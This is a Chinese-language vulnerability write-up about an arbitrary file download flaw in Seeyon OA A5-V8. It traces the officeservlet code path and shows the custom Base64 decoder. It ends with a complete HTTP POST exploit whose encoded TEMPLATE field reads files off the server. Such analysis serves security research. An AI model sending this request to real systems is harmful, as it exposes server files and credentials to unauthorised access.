影响版本:A5-V8
问题出在这个接口,我们跟进去看看
当option=LOADTEMPLATE时调用taoHong函数,看看这个函数
Command为insertfile时,调用MsgFileLoad读取template。继续跟
MsgFileLoad为读文件操作,那么我们返回来看看参数可控否,template来自msgObj,msgObj又由iMsgServer2000实例化。看到这熟悉致远代码的朋友自然会心一笑了。
由于GetMsgByName
调用了DBstep.iMsgServer2000.DecodeBase64
方法,从之前致远的RCE我们了解到这是一个变种的Base64算法。具体代码如下:
public String DecodeBase64(String Value) {
ByteArrayOutputStream o = new ByteArrayOutputStream();
String m = "";
byte[] d = new byte[4];
try {
int count = 0;
byte[] x = Value.getBytes();
while (count < x.length) {
for (int n = 0; n <= 3; ++n) {
if (count >= x.length) {
d[n] = 64;
} else {
int y = this._$903.indexOf(x[count]);
if (y < 0) {
y = 65;
}
d[n] = (byte)y;
}
++count;
}
o.write((byte)(((d[0] & 63) << 2) + ((d[1] & 48) >> 4)));
if (d[2] == 64) continue;
o.write((byte)(((d[1] & 15) << 4) + ((d[2] & 60) >> 2)));
if (d[3] == 64) continue;
o.write((byte)(((d[2] & 3) << 6) + (d[3] & 63)));
}
}
catch (StringIndexOutOfBoundsException e) {
this._$907 = this._$907 + e.toString();
System.out.println(e.toString());
}
try {
m = o.toString(this.Charset);
}
catch (UnsupportedEncodingException ea) {
System.out.println(ea.toString());
}
return m;
}
关于这个变种Base64的加解密方法网上多的不能再多了。这里也不再赘述。我们只需将我们需要读取的文件路径编码即可,
EXP如下:
POST /seeyon/officeservlet HTTP/1.1
Host: 192.168.1.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 395
DBSTEP V3.0 331 0 0 currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
RECORDID=wLehP4whzUoiw=66
CREATEDATE=wLehP4whzUoiw=66
originalFileId=wV66
needReadFile=NrMGyV66
originalCreateDate=wLehP4whzUoiw=66
OPTION=LKDxOWOWLlxwVlOW
COMMAND=BSTLOlMSOCQwOV66
TEMPLATE=qf85qfDEyYMJdrxiqEzQyaQvcfDaOSo0BST1qENQefTucYs6
affairMemberId=wV66
affairMemberName=N1liNg66
PS:该漏洞已修复,遇上则是有缘。
原文始发于微信公众号(攻队):致远OA任意文件下载漏洞(已修复)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论